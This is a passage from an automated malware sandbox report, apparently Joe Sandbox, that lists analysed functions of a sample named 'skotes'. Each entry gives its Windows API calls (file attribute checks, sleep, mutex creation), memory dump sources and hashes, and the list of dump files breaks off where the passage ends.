CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: f60eb1557f3e43c7d914d0b26c2c1d3a4319e4f64f9db6dfff1a14e36c1dcd24
Instruction ID: 6dbdc4ea40eec1fd2eecfd361555541b80d984ac978249f40d1515bfef5b700a
Opcode Fuzzy Hash: f60eb1557f3e43c7d914d0b26c2c1d3a4319e4f64f9db6dfff1a14e36c1dcd24
Instruction Fuzzy Hash: 97310B31A00100EBEB18EBB8DC897ADB766EFC6314F248719E054972D1DB3D9981C717

Function 007AA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA685
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: d46706ddc75817084907fef47788aeffd8fb0d68023fb9b05c586c9229d5ae9e
Instruction ID: e743ad2fe5b0135e550a45dd820d148ff3534ee9bfaf5b2dac02b374cb5c31bc
Opcode Fuzzy Hash: d46706ddc75817084907fef47788aeffd8fb0d68023fb9b05c586c9229d5ae9e
Instruction Fuzzy Hash: 3A310731604100EBEB18EB78DC89BAEB776EFC6314F248719E014972D2D77D9981C752

Function 007AA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA7BA
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3da72e40a23cca6f6262c3f8e8903c5ea4381f673a09126c754026017d9cc237
Instruction ID: 2ca5fd91bbc55764e21fa133c221cc38a35c01f918ea59c83db6eddac476ca7e
Opcode Fuzzy Hash: 3da72e40a23cca6f6262c3f8e8903c5ea4381f673a09126c754026017d9cc237
Instruction Fuzzy Hash: 43310731604104EFEB19AB68DD89BAEB776EFC6314F248319E014972D5E73DA981C712

Function 007D6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c70c9d48d7e9fc1930e659ce0687d250f1c601bff8b838e79f75f8cf5e523b7
Instruction ID: cb77674bc2344564d2b0a8d9d28196cdd010d42cf6a6fbba59a5b4f039d04ca8
Opcode Fuzzy Hash: 1c70c9d48d7e9fc1930e659ce0687d250f1c601bff8b838e79f75f8cf5e523b7
Instruction Fuzzy Hash: AF21F872905108BBEB116B68EC46BAF3779EF41378F100352F9246B3D1EB78AE058661

Function 007AA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
